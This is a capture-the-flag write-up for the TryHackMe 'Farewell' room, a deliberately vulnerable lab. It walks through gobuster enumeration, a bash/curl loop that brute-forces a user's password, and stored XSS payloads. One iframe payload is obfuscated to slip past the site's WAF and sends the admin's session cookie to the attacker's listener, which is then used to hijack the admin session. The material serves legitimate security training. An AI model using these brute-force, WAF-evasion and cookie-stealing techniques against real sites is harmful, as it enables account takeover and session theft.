Try Hack Me – Farewell CTF
TryHackMe.com has some great capture the flag exercises on their site. In this posting I will go though the Farewell room.
The farewell server will be decommissioned in less than 24 hours. Everyone is asked to leave one last message, but the admin panel holds all submissions. Can you sneak into the admin area and read every farewell message before the lights go out?
Note: In case you want to start over or restart all services, visit http://10.66.143.32/status.php.
This is a vulnerable web application created with two core weaknesses:
- Stored XSS on an admin reviewed message service
- Weak API exposure
I used the following enumeration actions:
- Gobuster
- Brute force
- XSS payload
- WAF bypass
- Final exploit
Here’s what we see when we load the page.

The site has:
- Login with username/password
- User-submitted Farewell message
- admin login
This recent activity banner shows 3 users, who are active on the platform:
- adam
- nora
- deliver11
Let’s try a non-existent user and we get “invalid username or password” error message.

Now we can try a valid user and we get a different error message “Server hint: invalid password against the user” (weak sauce).

Now, we’ll run gobuster to discover directories.
(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.66.143.32/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.66.143.32/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php
[+] Timeout: 10s
/index.php (Status: 200) [Size: 5246]
/info.php (Status: 200) [Size: 87570]
/admin.php (Status: 403) [Size: 780]
/status.php (Status: 200) [Size: 3467]
/javascript (Status: 301) [Size: 317] [–> http://10.66.143.32/javascript/]
/logout.php (Status: 302) [Size: 0] [–> index.php]
/auth.php (Status: 403) [Size: 780]
/dashboard.php (Status: 302) [Size: 0] [–> /]
Going to info.php we see this. The site can be used for XSS if the cookie is HttpOnly.

Now we’ll run Burpsuite and capture login requests.

The response to the login request for user Deliver11 shows a “password_hint” parameter that reads: ”Capital of Japan followed by 4 digits.”
Here are the other three user captures:



The easiest password hint is for deliver11, Tokyo + 4 digits. We could try to brute force a guess of the four digits with Burp Intruder or ffuf, but that would probably trigger the WAF. Let’s use a shell script to check.
#!/bin/bash
for i in {0000..9999}; do
pass=”Tokyo$i”
echo “[+] Trying $pass”
res=$(curl -s -X POST “http://10.22.155.72/index.php” \ -d “username=deliver11&pass
word=$pass”)
echo “$res” | grep -q ‘”success”: true’ && echo “[FOUND] $pass” && break
done
After getting the password I logged into deliver11’s account and was given the first flag.

I also had the ability to send a message that would be approved by admin.

I then tried a basic <script>alert()</script> XSS payload to see if XSS was an option, but that was caught by the pesky WAF.

Then I tried an iframe to trigger JS. <iframe src=”javascript:location=’//10.64.105.110:8000/’+document.cookie”> and that was also caught by the WAF.

We will modify the iframe to work.
<iframe src=”javascript:location=’//10.64.105.110:8000/’+top[‘doc’+’ument’][‘coo’+’kie’]”>
On the attack box I stared a listener. root@ip-10-64-105-110:~# python3 -m http.server 8000
Logged into the “Farewell server” as deliver11, and sent this in the message box.

Which gave me the PHPSESSID.

I then copied and pasted the admin PHPSESSHID into the cookies section of Inspect, Storage, and refreshed the admin.php screen to get the final flag.

By using [‘doc’+’ument’][‘coo’+’kie’] in the place of document.cookie we were able to bypass the WAF and get the admin cookie.
